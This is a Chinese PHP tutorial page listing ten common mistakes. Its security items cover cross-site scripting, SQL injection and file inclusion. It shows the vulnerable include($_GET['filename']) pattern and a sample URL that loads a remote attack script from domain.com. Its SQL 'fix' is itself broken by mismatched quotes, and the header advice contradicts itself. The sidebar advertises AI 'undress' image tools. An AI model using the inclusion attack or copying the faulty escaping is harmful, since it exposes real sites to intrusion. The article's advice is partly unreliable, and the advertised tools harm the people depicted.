首页 php教程 php手册 php 程序员常犯错误总结

php 程序员常犯错误总结

May 25, 2016 pm 04:40 PM
php程序员

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据),输出之前都要转意.

echo $_GET['usename'] ;

这个例子有可能输出:

<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>

这是一个明显的安全隐患,除非你保证你的用户都正确的输入.

如何修复:我们需要将"","and" 等转换成正确的HTML表示(', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的.

正确的方法:echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入

我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法,有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET,$_POST或 $_COOKIE中的得到的.

如何修复:和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数,正确做法:

<?php 
$sql = "UPDATE users SET 
name=&#39;.mysql_real_escape_string($name).&#39; 
WHERE id=&#39;.mysql_real_escape_string ($id).&#39;"; 
mysql_query($sql); 
?>
登录后复制

3.错误的使用HTTP-header 相关的函数:header(),session_start(),setcookie()

遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。

头部包含了一些非可视的数据,例如cookie,头部总是先到达,正文部分包括可视的html,图片等数据.

如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用,问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样,结果转向停止了,cookie和session都没有正确的设置........。

如何修复:确保在输出之前调用http-header相关的函数,并且令output_buffering = Off

4. Require 或 include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据,不要 Include 或 require 从$_GET,$_POST 或 $_COOKIE 中得到的文件.例如:index.php

//including header, config, database connection, etc

include($_GET['filename']);

//including footer

现在任一个黑客现在都可以用:http://www.phprm.com/index.php?filename=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本.

如果allow_url_fopen=On,你更是死定了,试试这个输入:

http://www.phprm.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.phprm.com/phphack.php的输出,黑客可以发送垃圾邮件,改变密码,删除文件等等,只要你能想得到.

如何修复:你必须自己控制哪些文件可以包含在的include或require指令中,下面是一个快速但不全面的解决方法:

<?php 
//Include only files that are allowed. 
$allowedFiles = array(&#39;file1.txt&#39;,&#39;file2.txt&#39;,&#39;file3.txt&#39;); 
if(in_array((string)$_GET[&#39;filename&#39;],$allowedFiles)) { 
include($_GET[&#39;filename&#39;]); 
}else{ 
exit(&#39;not allowed&#39;); 
} 
?>
登录后复制

5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出,解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号,还有就是换个好的编辑器,就不要用记事本了.

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力,PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象.

7. 不使用framework

95% 的PHP项目都在做同样的四件事:Create, edit, list 和delete,现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP的核心包含很多功能,很多程序员重复的发明轮子,浪费了大量时间,编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现,PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回,考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.phprm.com的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。

原始文本:

It&#39;s a string
magic quotes on :
It&#39;s a string
又运行一次
addslashes():
It&#39;s a string
HTML输出:It&#39;s a string
登录后复制


本文地址:

转载随意,但请附上文章地址:-)

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
2 周前 By 尊渡假赌尊渡假赌尊渡假赌
仓库:如何复兴队友
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒险:如何获得巨型种子
3 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

从头到尾详解:如何撰写一份完美的PHP程序员求职简历 从头到尾详解:如何撰写一份完美的PHP程序员求职简历 Sep 10, 2023 pm 04:21 PM

如何撰写一份完美的PHP程序员求职简历在竞争激烈的就业市场中,一份出色的简历对于求职者来说是至关重要的。对于PHP程序员来说,撰写一份完美的简历尤为重要,因为简历不仅是展示自己技能和经验的窗口,也是吸引雇主注意力的关键。本文将从头到尾详解如何撰写一份完美的PHP程序员求职简历。第一步:选择简洁而具有吸引力的简历模板选择一份简洁而具有吸引力的简历模板是撰写简历

提高求职成功率:写一份优秀的PHP程序员求职简历的技巧 提高求职成功率:写一份优秀的PHP程序员求职简历的技巧 Sep 10, 2023 pm 06:30 PM

提高求职成功率:写一份优秀的PHP程序员求职简历的技巧在现代社会中,求职已经成为每个毕业生面临的一项重要任务。当谈到求职时,简历是最重要的一环。一份优秀的简历可以为你赢得面试的机会,甚至决定你能否成功获得工作。特别对于PHP程序员这样一个高度竞争的职位来说,如何写一份出众的求职简历,成为每个求职者的关键问题。下面我将分享一些写一份优秀的PHP程序员求职简历的

如何写出一份令雇主眼前一亮的PHP程序员求职简历 如何写出一份令雇主眼前一亮的PHP程序员求职简历 Sep 08, 2023 am 08:19 AM

如何写出一份令雇主眼前一亮的PHP程序员求职简历在竞争激烈的求职市场上,编写一份出色的简历尤为重要。作为PHP程序员,除了令人印象深刻的工作经历和技能,一份简历中也需要体现出你对编程的热爱和扎实的专业知识。本文将介绍一些技巧和代码示例,帮助你编写一份令雇主眼前一亮的PHP程序员求职简历。简洁明了的个人信息简历的个人信息部分应该包括你的姓名、联系方式和个人网站

抢眼的PHP程序员求职简历技巧:如何与其他候选人脱颖而出 抢眼的PHP程序员求职简历技巧:如何与其他候选人脱颖而出 Sep 12, 2023 am 10:16 AM

抢眼的PHP程序员求职简历技巧:如何与其他候选人脱颖而出随着互联网行业的快速发展,PHP程序员也成为了求职市场上的热门岗位之一。然而,越来越多的人选择了PHP作为自己的职业发展方向,这就使得竞争变得更加激烈。在这样的情况下,如何让自己的求职简历脱颖而出,成为雇主眼中的香饽饽,是每个PHP程序员都需要思考的问题。首先,一个好的求职简历应该清晰、简明地展示你的技

PHP程序员的高薪逆袭之路 PHP程序员的高薪逆袭之路 Sep 09, 2023 am 09:22 AM

PHP程序员的高薪逆袭之路随着互联网的快速发展,计算机科学领域的需求不断增加。在这个时代,需要具备编程技能的人才是最受欢迎的。而PHP作为一种常用的编程语言,为程序员们提供了一条高薪逆袭的道路。本文将介绍PHP程序员如何通过学习PHP以及相关技术,走向高薪逆袭之路,并附上一些代码示例。一、掌握PHP基础知识要成为一名优秀的PHP程序员,首先需要掌握PHP的基

探索写作技巧:如何撰写一份引人注目的PHP程序员求职简历 探索写作技巧:如何撰写一份引人注目的PHP程序员求职简历 Sep 09, 2023 pm 04:09 PM

探索写作技巧:如何撰写一份引人注目的PHP程序员求职简历在当今竞争激烈的就业市场中,一份引人注目的求职简历对于PHP程序员来说尤为重要。一个好的简历不仅能够吸引雇主的眼球,还能展示你的技能和经验。本文将探索一些写作技巧,帮助你撰写一份出色的PHP程序员求职简历,并附上代码示例,突出你的专业能力。简洁明了的格式简历的格式应该简洁明了,使得雇主能够快速浏览你的关

连接HR的关键一步:如何在PHP程序员求职简历中体现你的价值 连接HR的关键一步:如何在PHP程序员求职简历中体现你的价值 Sep 08, 2023 am 11:30 AM

连接HR的关键一步:如何在PHP程序员求职简历中体现你的价值HR在招聘过程中繁忙而又短暂的一瞥中,通过简历来评估和筛选应聘者。在众多求职者中脱颖而出并吸引HR的目光,就需要在简历中展示自己的价值和能力。对于PHP程序员来说,在简历中突出自己的技术实力和项目经历至关重要。下面将介绍几个关键的元素,以及如何通过代码示例来体现自己的价值。技术技能清单在简历的技能栏

提高个人形象:如何写出一份让你脱颖而出的PHP程序员求职简历 提高个人形象:如何写出一份让你脱颖而出的PHP程序员求职简历 Sep 10, 2023 pm 05:12 PM

在当今竞争激烈的就业市场中,如何让自己在众多求职者中脱颖而出成为了一个非常重要的问题。尤其对于PHP程序员来说,良好的求职简历能够直接影响到是否能够得到面试的机会。本文将为大家详细介绍如何写出一份让你脱颖而出的PHP程序员求职简历。首先,一个好的求职简历应该包含以下几个重要部分:个人信息、求职意向、教育背景、工作经历、技能特长和个人项目经验等。我们将逐个部分

See all articles